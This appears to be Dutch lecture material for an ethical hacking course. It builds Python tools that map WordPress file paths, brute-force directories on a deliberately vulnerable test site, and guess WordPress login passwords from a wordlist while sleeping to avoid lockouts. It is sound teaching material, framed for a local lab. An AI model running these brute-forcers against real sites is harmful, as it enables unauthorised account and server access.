Python web hacking

KM / Ethical Hacking Week 4

Van het allergrootste belang: Je gaat voor het vak Ethical Hacking de hier opgebouwde tools NOOIT testen op een live target. Zet in je Kali VM een testomgeving op met credentials die je kent.

Het analyseren van webtoepassingen is een belangrijke skill voor elke pentester. Webtoepassingen vormen een belangrijk aanvalsoppervlak voor toegang tot systemen

Er zijn een aantal interessante tools: - http://w3af.org/ - https://sqlmap.org/ Geschreven in Python en het verdient aanbeveling deze eens uit te proberen

Wij gaan wat Python-code uittesten om te interageren met het web. Je kan de codevoorbeelden hieronder verder uitbouwen tot custom reconnaissance en brute-force tools voor webtoepassingen.

We kijken naar 3 scenario's: - Het mappen van een WordPress install en testen op een remote WordPress server - Op basis van een URL: dezelfde mapping brute-forcen met gebruik van een woordenlijst met bestand en foldernamen. - Een brute-force aanval op een login-pagina

Python Web Libraries gebruiken

Er zijn een aantal Python-libraries die het verdienen om in deze context bestudeerd te worden.

De urllib Library

Deel van de Python standard library. De urllib package splitst de functionaliteit in urllib.request en urllib.error subpackages. Het voegt ook URL-parsing mogelijkheden toe met urllib.parse.

Onderstaand voorbeeld maakt een GET request:

```
import urllib.parse
import urllib.request

url = 'http://mijnwebsite.be'
with urllib.request.urlopen(url) as response:
    content = response.read()

print(content)
```

Om een POST request te maken geef je een data dictionary mee aan het request object, geëncodeerd als bytes. Deze data dictionary moet de key-value paren hebben die de target-toepassing verwacht:

```
info = {'user': 'admin', 'passwd': '31337'}
data = urllib.parse.urlencode(info).encode() # data is nu van het type bytes
req = urllib.request.Request(url, data)
with urllib.request.urlopen(req) as response:
    content = response.read()
print(content)
```

De requests Library

Uitermate handige library. Maakt geen deel uit van de Python standard library, dus installeren met pip. Kan omgaan met cookies via het Session object.

```
pip install requests
```

```
import requests

url = 'http://mijnsite.com'
response = requests.get(url)
data = {'user': 'admin', 'passwd': '123456'}
response = requests.post(url, data=data)
print(response.text)
```

De lxml en BeautifulSoup packages

Wanneer je een HTTP response teruggekregen hebt, helpen beide packages je om de content te parsen. Je kan beide packages met pip installeren:

```
pip install lxml
pip install beautifulsoup4
```

Een voorbeeld met lxml:

```
from io import BytesIO
from lxml import etree
import requests
url = 'https://mijnsite.com
r = requests.get(url)
content = r.content # content is hier van het type 'bytes'
parser = etree.HTMLParser()
content = etree.parse(BytesIO(content), parser=parser)
for link in content.findall('//a'):
    print(f"{link.get('href')} -> {link.text}")
```

- We importeren de BytesIO klasse van de io module omdat we een byte string willen gebruiken als een bestandsobject wanneer we de HTTP-response parsen
- Vervolgens doen we een GET request en parsen we het antwoord met lxml
- De parser verwacht een bestand-achtig object of een bestandsnaam (doen we via BytesIO)
- We doen een eenvoudige query om alle a-elementen terug te vinden

Met BeautifulSoup kan je gelijkaardige parsing-opdrachten uitvoeren:

```
from bs4 import BeautifulSoup as bs
import requests
url = 'http://mijnsite.com'
r = requests.get(url)
tree = bs(r.text, 'html.parser')
for link in tree.find_all('a'):
    print(f"{link.get('href')} -> {link.text}")
```

Het mappen van een WordPress install

Vaak maken web applicatie gebruik van een bepaald framework. Er zijn er een aantal en WordPress is momenteel de vaakst

gebruikte. WordPress is volledig te beveiligen maar vergt kunde en wat optionele stappen.

Het kunnen scannen van bestanden (eventuele achtergelaten bestanden met extra informatie) is een belangrijke troef bij het opsporen van kwestbaarheden.

Download, unzip en installeer (daarop je test uitvoeren!) zeker een WordPress install op je Kali VM en vergewis je van de bestandsstructuur. Je kan ze hier downloaden: https://wordpress .org/download/.

We schrijven een functie gather_paths om doorheen de WordPress distributie te lopen. We maken volledige filepaths en stoppen ze in een queue met naam web_paths:

```
 import contextlib
import os
import queue
import requests
import sys
import threading
import time

FILTERS = [".jpg", ".gif", ".png", ".css"]
TARGET = "http://127.0.0.1/wordpress"
THREADS = 5

answers = queue.Queue()
web_paths = queue.Queue()

def gather_paths():
    for root, _, files in os.walk('.'):
        for fname in files:
            if os.path.splitext(fname)[1] in FILTERS:
                continue
            path = os.path.join(root, fname)
            if path.startswith('.'):
                path = path[1:]
            print(path)
            web_paths.put(path)

@contextlib.contextmanager
def chdir(path):
    this_dir = os.getcwd()
    os.chdir(path)
    try:
        yield
    finally:
        os.chdir(this_dir)


if __name__ == '__main__':
    with chdir("/wordpress"):
        gather_paths()
    input('Press return to continue.')
```

- TARGET verwijst naar de remote target website
- FILTERS is een lijst van bestandsextensies die we willen uitsluiten van een check

- We mikken op html- of tekstbestanden die potentieel wel interessante informatie kunnen opleveren mbt kwetsbaarheden
- Answers is het Queue object waar we de filepaths plaatsen die we lokaal hebben gelokaliseerd
- Web_paths is een tweede Queue object waarin we de bestanden opslaan die we zullen proberen te lokaliseren op de remote server
- Binnen de gather_paths-functie gebruiken we de os.walk functie om doorheen alle bestanden en folders te gaan van de lokale webtoepassing. Terwijl we dit doen bouwen we volledige paden voor de doelbestanden en testen we ze tegen de FILTERS lijst
- Elk bestand dat we lokaal vinden voegen we toe aan de web_paths Queue
- De chdir context manager: laat toe om code uit te voeren binnen een verschillende directory en garandeert dat wanneer je exit je automatisch zal terugkeren naar de oorspronkelijke directory

Voer je deze code uit dan zal je zien dat de paden van de lokale install volledig in kaart worden gebracht.

Testen van het "live" target

We voegen hiervoor een test_remote functie toe aan de code:

```
def test_remote():
    while not web_paths.empty():
        path = web_paths.get()
        url = f'{TARGET}{path}'
        time.sleep(3)
        r = requests.get(url)
        if r.status_code == 200:
            answers.put(url)
            sys.stdout.write('+')
        else:
            sys.stdout.write('x')
        sys.stdout.flush()
```

Deze functie levert het belangrijkste werk van de mapper. Ze opereert in een loop die doorgaat zolang de web_path Queue niet leeg is.

We nemen telkens een path uit de Queue en voegen het toe aan het base path van de target website. Dan proberen we dit op te vragen. Bij succes (code 200) voegen we deze url toe aan de answers queue en schrijven we een + naar de console. Indien niet schrijven we een x en vervolgen de loop.

Er is een time.sleep van 3 seconden tussen elk request, om niet uitgesloten te worden door de web server.

We eindigen met de run-functie. Het is het ingangspunt van de mapper-tool:

```
def run():
    mythreads = list()
    for i in range(THREADS):
        print(f'Spawning thread {i}')
        t = threading.Thread(target=test_remote)
        mythreads.append(t)
        t.start()

    for thread in mythreads:
        thread.join()
```

Deze functie leidt het mapping proces en roept de functies aan die we hierboven hebben beschreven.

We starten 5 threads en laten elke thread de test_remote functie uitvoeren. We wachten tot alle threads voltooid zijn (door gebruik van thread.join).

Tot slot vervangen we het oorspronkelijke main-blok door:

```
if __name__ == '__main__':
    with chdir("/wordpress"):
        gather_paths()
    input('Press return to continue.')
    run()
    with open('myanswers.txt', 'w') as f:
        while not answers.empty():
            f.write(f'{answers.get()}\n')
    print('done')
```

- We gebruiken de context manager chdir om te navigeren naar de correcte folder vooraleer we de gather_paths functie aanroepen
- Met de input-functie voorzien we een pause vooraleer we de remote server gaan testen
- We voeren de mapping-taak uit tegen de remote server
- We schrijven de answers queue naar een bestand

Brute-Forcing folders en bestandslocaties and File Locations

Wanneer je een custom webtoepassing checkt op beveiliging heb je geen kennis mbt alle beschikbare bestanden op de web server.

Je kan een spidering tool gebruiken, zoals deze in de Burp Suite: https://portswigger.net/burp/communitydownload

Wat spideren je niet geeft: configuratiebestanden, overschotjes van development files, debugging scripts en andere mogelijk interessante leads.

Je kan deze bekomen met een brute-forcing tool die op alle gebruikelijke bestandsnamen en folders test.

We maken een tool die gebruik maakt van woordenlijsten zoals deze van het gobuster project (https://github.com/OJ/gobuster/) en SVNDigger (https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/). Ook in je Kali VM vind je woordenlijsten: /usr/share/wordlists. In ons voorbeeld maken we gebruik van de all.txt uit SVNDigger.

We gaan de structuur zo snel mogelijk ontdekken door de aanmaak van een poule van threads. We beginnen met het aanmaken van een Queue uit een bestand met woordenlijst:

```
 import queue
import requests
import sys
import threading

AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"
EXTENSIONS = ['.php', '.bak', '.orig', '.inc']
TARGET = "http://testphp.vulnweb.com"
THREADS = 5
WORDLIST = "all.txt"


def get_words(resume=None):
    def extend_words(word):
        if "." in word:
            words.put(f'/{word}')
        else:
            words.put(f'/{word}/')

        for extension in EXTENSIONS:
            words.put(f'/{word}{extension}')

    with open(WORDLIST) as f:
        raw_words = f.read()
    found_resume = False
    words = queue.Queue()
    for word in raw_words.split():
        if resume is not None:
            if found_resume:
                extend_words(word)
            elif word == resume:
                found_resume = True
                print(f'Resuming wordlist from: {resume}')
        else:
            print(word)
            extend_words(word)
    return words
```

De get_words-functie geeft de woorden queue terug die we zullen testen op onze target. - We lezen een woordenlijst uit het bestand all.txt en itereren door elke lijn in het bestand. - We zetten de resume variabele op het laatste path dat onze tool heeft getest. Dit laat toe om onze sessie te hervatten na een onderbreking. - Wanneer we het volledige bestand hebben geparst geven we een Queue met woorden terug om de eigenlijke brute-force uit te voeren - Deze functie heeft een inner function (een functie in een functie, het kan ;-)): extend_words. Doel: een lijst van extensies om te testen wanneer een request wordt gemaakt. Bvb: niet enkel admin.php, maar ook admin.inc en admin.html. Er kunnen naar believen extensies worden toegevoegd aan de variabele EXTENSIONS.

Vervolgens de dir_bruter-functie:

```
def dir_bruter(words):
    headers = {'User-Agent': AGENT}
    while not words.empty():
        url = f'{TARGET}{words.get()}'
        try:
            r = requests.get(url, headers=headers)
        except requests.exceptions.ConnectionError:
            sys.stderr.write('x')
            sys.stderr.flush()
            continue

        if r.status_code == 200:
            print(f'\nSuccess ({r.status_code}: {url})')
        elif r.status_code == 404:
            sys.stderr.write('.')
            sys.stderr.flush()
        else:
            print(f'{r.status_code} => {url}')


if __name__ == '__main__':
    words = get_words()
    print('Press return to continue.')
    sys.stdin.readline()
    for _ in range(THREADS):
        t = threading.Thread(target=dir_bruter, args=(words,))
        t.start()
```

- Deze functie neemt het Queue-object met woorden als parameter.
- We definieerden een User-Agent string om te gebruiken in het HTTP-request zodat de request lijkt te komen van een standaard browser.
- We loopen vervolgens doorheen de woorden-queue. Bij elk woord maken we een URL voor het request dat we sturen naar de remote server.
- Deze functie print bepaalde output in de terminal en andere naar de stderr. Dit omwille van de flexibiliteit.

In de main-block maken we eerst de woordenlijst. Daarna starten we een reeks threads en doen we de brute-force.

De code in actie

De URL in het script wijst naar een buggy web app gehost door Acunetix. Je kan er het script op uittesten en bekijk de resultaten in de terminal.

Indien je enkel de successen wil zien: redirect de stderr naar /dev/ null zodat enkel de gevonden bestanden in de console worden getoond:

```
python bruter.py 2> /dev/null
```

Brute-Forcing HTML Form-authenticatie

- Wat? Brute-forcing ve POST request naar een login script
- Wanneer? Wachtwoordsterkte testen op een bestaand websysteem
- Meer en meer brute-force bescherming. Ook 2FA.
- Er bestaan kant-en-klare oplossingen, maar vaak niet flexibel genoeg om met dynamische content om te gaan

Onderstaande voorbeeldtool richt zich op WordPress => meest gebruikte CMS - Moeten het hidden token van het login formulier in handen krijgen - Moeten ervoor zorgen dat we cookies kunnen accepteren in onze HTTP-sessie. Cookies worden standaard geplaatst bij eerste contact en worden terug verwacht bij een loginpoging

We maken gebruik van lxml (Beautiful Soup zou ook kunnen) om de waarden in het formulier te parsen. De loginform bij een wordpress-install vind je hier: http:///wp-login.php/. Zoek er eentje en doe een "view source":

```
 <form name="loginform" id="loginform" action="https://www.isitwp.com/wp-login.php" method="post">
<p>
    <label for="user_login">Username or Email Address</label>
    <input type="text" name="log" id="user_login" value="" size="20"/>
</p>
<div class="user-pass-wrap">
    <label for="user_pass">Password</label>
    <div class="wp-pwd">
        <input type="password" name="pwd" id="user_pass" value="" size="20" />
    </div>
</div>
<p class="submit">
    <input type="submit" name="wp-submit" id="wp-submit" value="Log In" />
    <input type="hidden" name="testcookie" value="1" />
</p>
</form>
```

De inhoud van deze form geeft ons waardevolle informatie: - De ingevulde formdata wordt gestuurd naar /wp-login.php (dus naar zichzelf) als een HTTP POST - Elementen die worden verwacht: - log: een variabele die de gebruikersnaam vertegenwoordigt - pwd: een variabele voor het wachtwoord - wp-submit: de variabele voor de submitknop - testcookie (hidden): de variabele voor een test cookie

De server zet ook enkele cookies wanneer je contact maakt met de form, en verwacht deze terug te krijgen wanneer de formdata wordt gepost. Dit gedrag moet worden voorzien wanneer je probeert in te loggen.

We zullen de verplichte cookies afhandelen met de requests library en meer bepaald het Session object.

De noodzakelijke flow: - De login pagina opvragen en alle teruggeven cookies accepteren - Alle form-elementen uit de HTML parsen - Gebruikersnaam en wachtwoord: al gissend invullen vanuit onze lijst met mogelijkheden - Een HTTP Post, inclusief formuliervelden en cookies sturen naar het script dat het inloggen verwerkt - Testen om te zien of we succesvol zijn kunnen inloggen

Cain & Abel, een wachtwoord recovery tool, heeft een lijst met wachtwoorden die kunnen gebruikt worden voor een brute-force aanval. Je kan deze hier downloaden:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Software/cain-and-abel.txt

Repo bevat heel wat nuttige lijstjes voor security toepassingen: https://github.com/danielmiessler/SecLists

We overlopen de voorbeeldcode van onze tool:

```
 from io import BytesIO
from lxml import etree
from queue import Queue

import requests
import sys
import threading
import time

SUCCESS = 'Welcome to WordPress!'
TARGET = "http://127.0.0.1/wordpress/wp-login.php"
WOORDENLIJST = 'cain-and-abel.txt'


def get_words():
    with open(WOORDENLIJST) as f:
        raw_words = f.read()

    words = Queue()
    for word in raw_words.split():
        words.put(word)
    return words


def get_params(content):
    params = dict()
    parser = etree.HTMLParser()
    tree = etree.parse(BytesIO(content), parser=parser)
    for elem in tree.findall('//input'):
        name = elem.get('name')
        if name is not None:
            params[name] = elem.get('value', None)
    return params
```

- TARGET-variabele is de URL waarvan script eerst zal worden gedownload en de HTML zal worden geparst
- SUCCESS-variabele is een stringpatroon waarop we zullen checken in de content na elke poging om na te gaan of we succesvol zijn geweest en binnengeraakt
- get_words-functie: woorden uit onze lijst bekomen
- get_params-functie: ontvangt de HTTP-response content, parst het en loopt doorheen alle input elementen. Resultaat is een dictionary van parameters

We vervolgen:

```
class Bruter:
    def __init__(self, username, url):
        self.username = username
        self.url = url
        self.found = False
        print(f'\nBrute Force Attack beginning on {url}.\n')
        print("Finished the setup where username = %s\n" % username)

    def run_bruteforce(self, passwords):
        for _ in range(10):
            t = threading.Thread(target=self.web_bruter, args=(passwords,))
            t.start()

    def web_bruter(self, passwords):
        session = requests.Session()
        resp0 = session.get(self.url)
        params = get_params(resp0.content)
        params['log'] = self.username

        while not passwords.empty() and not self.found:
            time.sleep(5)
            passwd = passwords.get()
            print(f'Trying username/password {self.username}/{passwd:<10}')
            params['pwd'] = passwd
            resp1 = session.post(self.url, data=params)

            if SUCCESS in resp1.content.decode():
                self.found = True
                print(f"\nBruteforcing successful.")
                print("Username is %s" % self.username)
                print("Password is %s\n" % passwd)
                self.found = True
```

Deze bruter-klasse behandelt alle HTTP requests en beheer van de cookies De web_bruter method vervult de login aanval, in 3 fases: - **Initialisatie**: we initialiseren een Session object van de requests library. Deze zal onze cookies behandelen. We maken het request naar de login form. Wanneer we de HTML content ontvangen geven we deze door aan de get_params-functie die ons de dictionary bezorgt met de form-elementen. We vervangen de username parameter en zijn klaar om te loopen door onze lijst met wachtwoorden. - **Loop**: het script slaapt voor enkele seconden om een account lockout te vermijden. Daarna halen we een wachtwoord uit de queue en gebruiken het om de parameter dictionary te vullen. Herhaalt zich tot de queue leeg is. - **request**: we posten het request met onze parameter dictionary. Nadat we het resultaat terugkrijgen testen we of de authenticatie succesvol was. Indien de success-string aanwezig legen we de queue en stopt het script.

Tot slot om ons script effectief uit te voeren:

```
if __name__ == '__main__':
    b = Bruter('admin', TARGET)
    words = get_words()
    b.run_bruteforce(words)
```

De code in actie

Je zorgt voor een WordPress install op je Kali VM. Je zorgt dat ze draait. Je zorgt dat je admin gebruiker een wachtwoord heeft

uit de lijst ;-) Je runt het script wp_brute_force.py.